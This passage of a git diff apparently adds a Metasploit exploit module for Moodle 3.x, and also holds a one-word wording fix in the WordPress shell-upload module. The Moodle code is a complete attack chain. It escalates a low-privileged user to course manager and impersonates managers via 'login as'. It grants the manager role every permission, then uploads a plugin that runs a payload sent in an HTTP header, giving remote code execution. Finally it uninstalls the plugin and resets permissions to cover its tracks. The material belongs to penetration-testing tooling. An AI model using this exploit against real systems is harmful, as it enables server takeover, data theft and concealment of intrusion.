e%2Fuser%3Aviewuseractivitiesreport=1&report%2Fusersessions%3Amanageownsessions=1&tool%2Fdataprivacy%3Adownloadallrequests=1&tool%2Fdataprivacy%3Adownloadownrequest=1&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=1&tool%2Fdataprivacy%3Amakedatarequestsforchildren=1&tool%2Fdataprivacy%3Arequestdelete=1&tool%2Fpolicy%3Aacceptbehalf=1&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=1&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=1&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=1&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=1&block%2Frecent_activity%3Aviewaddupdatemodule=1&block%2Frecent_activity%3Aviewdeletemodule=1&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=1&enrol%2Fflatfile%3Aunenrol=1&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=1&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=1&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=1&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=1&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=1&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=1&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=1&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=1&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=1&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=1&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=1&moodle%2Fcourse%3Aisincompletionreports=1&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=1&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=1&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=1&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=1&webservice%2Fsoap%3Ause=1&webservice%2Fxmlrpc%3Ause=1&atto%2Fh5p%3Aaddembed=1&atto%2Frecordrtc%3Arecordaudio=1&atto%2Frecordrtc%3Arecordvideo=1&booktool%2Fexportimscp%3Aexport=1&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=1&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=1&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=1&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=1&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=1&mod%2Fchoice%3Achoose=1&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=1&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=1&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=1&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=1&mod%2Ffolder%3Aview=1&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=1&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=1&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=1&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=1&mod%2Flabel%3Aview=1&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=1&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=1&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=1&mod%2Fquiz%3Aattempt=1&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=1&mod%2Fquiz%3Aemailnotifysubmission=1&mod%2Fquiz%3Aemailwarnoverdue=1&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=1&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=1&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=1&mod%2Fscorm%3Adeleteownresponses=1&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=1&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=1&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=1&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=1&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=1&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=1&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=1&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=1&quiz%2Fgrading%3Aviewstudentnames=1&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=1&repository%2Fboxnet%3Aview=1&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=1&repository%2Fequella%3Aview=1&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=1&repository%2Fflickr_public%3Aview=1&repository%2Fgoogledocs%3Aview=1&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=1&repository%2Fonedrive%3Aview=1&repository%2Fpicasa%3Aview=1&repository%2Frecent%3Aview=1&repository%2Fs3%3Aview=1&repository%2Fskydrive%3Aview=1&repository%2Fupload%3Aview=1&repository%2Furl%3Aview=1&repository%2Fuser%3Aview=1&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=1&repository%2Fyoutube%3Aview=1&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=1&moodle%2Fsite%3Amanageblocks=1&savechanges=Save+changes"
+ end
+
+ def set_manager_permissions(permissions)
+ # we need raw for repeated data properties where a dict overwrites them
+ res = send_request_raw({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'roles', 'define.php?roleid=1&action=edit'),
+ 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/x-www-form-urlencoded' },
+ 'cookie' => "#{cookie_jar.cookies[0].name}=#{cookie_jar.cookies[0].value}",
+ 'data' => permissions
+ })
+ fail_with(Failure::Unreachable, 'Error changing manager role permissions') unless res
+ end
+
+ # copy from moodle_admin_shell_upload
+ def create_addon_file
+ # There are syntax errors in creating zip file. So the payload was sent as base64.
+ plugin_file = Rex::Zip::Archive.new
+ header = Rex::Text.rand_text_alpha_upper(4)
+ plugin_name = Rex::Text.rand_text_alpha_lower(8)
+
+ print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")
+
+ path = "#{plugin_name}/version.php"
+ path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
+ # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
+ plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
+ plugin_file.add_file(path2, "")
+ # plugin_file.add_file(path2, "")
+ return plugin_file.pack, header, plugin_name
+ end
+
+ # copy from moodle_admin_shell_upload
+ def exec_code(plugin_name, header)
+ # Base64 was encoded in "PHP". This process was sent as "HTTP headers".
+ print_status('Triggering payload')
+ send_request_cgi({
+ 'keep_cookies' => true,
+ 'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
+ 'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
+ })
+ end
+
+ def check
+ return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
+
+ v = moodle_version
+ return CheckCode::Detected('Unable to determine moodle version') if v.nil?
+
+ # https://moodle.org/mod/forum/discuss.php?d=407393
+ v = Rex::Version.new(v)
+ if v.between?(Rex::Version.new('3.9'), Rex::Version.new('3.9.1')) ||
+ v.between?(Rex::Version.new('3.8'), Rex::Version.new('3.8.4')) ||
+ v.between?(Rex::Version.new('3.7'), Rex::Version.new('3.7.7')) ||
+ v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) ||
+ v.between?(Rex::Version.new('3'), Rex::Version.new('3.5'))
+ return CheckCode::Appears("Exploitable Moodle version #{v} detected")
+ end
+
+ CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
+ end
+
+ def exploit
+ v = moodle_version
+ return CheckCode::Detected('Unable to determine moodle version') if v.nil?
+
+ version = Rex::Version.new(v)
+
+ print_status("Authenticating as user: #{datastore['USERNAME']}")
+ cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
+ cookies.each do |cookie|
+ cookie_jar.add(cookie)
+ end
+
+ userid, courseid, sesskey = get_user_info
+ print_good("User ID: #{userid}")
+ print_good("Course ID: #{courseid}")
+ print_good("Sessionkey: #{sesskey}")
+ print_status('Retrieving course enrollment id')
+ enrolid = get_course_enrol_id(courseid)
+ print_good("Enrol ID: #{enrolid}")
+ print_status('Attempting to enrolin in class as manager (priv esc)')
+ success = enrol(userid, courseid, enrolid, sesskey)
+ fail_with(Failure::NoAccess, 'Unable to enrol in course as manager') unless success
+ print_good('Successfully enrolled')
+ print_status('Attempting to find and add a manager to class')
+ Array(2...datastore['MAXUSERS']).each do |id|
+ next if id == userid
+
+ print_status("Attempting user: #{id}")
+ success = enrol(id, courseid, enrolid, sesskey, '5')
+ if success
+ print_good('Successfully enrolled')
+ else
+ print_bad('Unsuccessful')
+ end
+ end
+ print_status('Retrieving course context id')
+ contextid = get_course_context_id(courseid)
+ print_good("Context ID: #{contextid}")
+ managers = get_course_managers(contextid)
+ print_good("Found manager user IDs: #{managers}")
+ # loop through all maangers looking for a 'login as' link
+ success = false
+ managers.each do |manager|
+ next if manager == userid
+
+ print_status("Attempting loginas for user id: #{manager}")
+ res = moodle_loginas(courseid, manager, sesskey)
+ res.body =~ %r{You are logged in as [^>]+>([^<]+)}
+ print_status("Logged in as: #{Regexp.last_match(1)}")
+ if res.body.include?('Site administration')
+ print_good('Looks like a potentially good manager account!')
+ end
+ res.body =~ /"sesskey":"(.*?)"/
+ new_sesskey = Regexp.last_match(1)
+ print_status("Attempting via new session key: #{new_sesskey}")
+ set_manager_permissions(manager_all_permissions(new_sesskey))
+ print_status('Checking if permissions were set successfully')
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'search.php')
+ })
+ fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
+ next unless res.body.include?('Install plugins')
+
+ print_good('Manager roll full permissioned, attempting to upload shell')
+ success = true
+ addon_content, header, addon_name = create_addon_file
+ print_status('Uploading addon')
+ file_id, addon_sesskey = upload_addon(addon_name, version, addon_content)
+ fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
+ print_good('Upload Successful. Integrating addon')
+ ret = plugin_integration(addon_sesskey, file_id, addon_name)
+ if ret.nil?
+ fail_with(Failure::NoAccess, 'Install not successful')
+ end
+ exec_code(addon_name, header)
+ print_status('Uninstalling plugin')
+ remove_plugin("theme_#{addon_name}", version, addon_sesskey)
+ print_status('Resetting permissions')
+ set_manager_permissions(manager_default_permissions(sesskey))
+ break
+ end
+ print_bad('Failed to upgrade permissions on manager roll') unless success
+ end
+
+ def on_new_session(_)
+ print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
+ end
+end
diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
index 9f86edb4b6..ee800e3ceb 100644
--- a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
+++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'WordPress Admin Shell Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
- and upload it to a server running WordPress providing valid
+ and upload it to a server running WordPress provided valid
admin credentials are used.
},
'License' => MSF_LICENSE,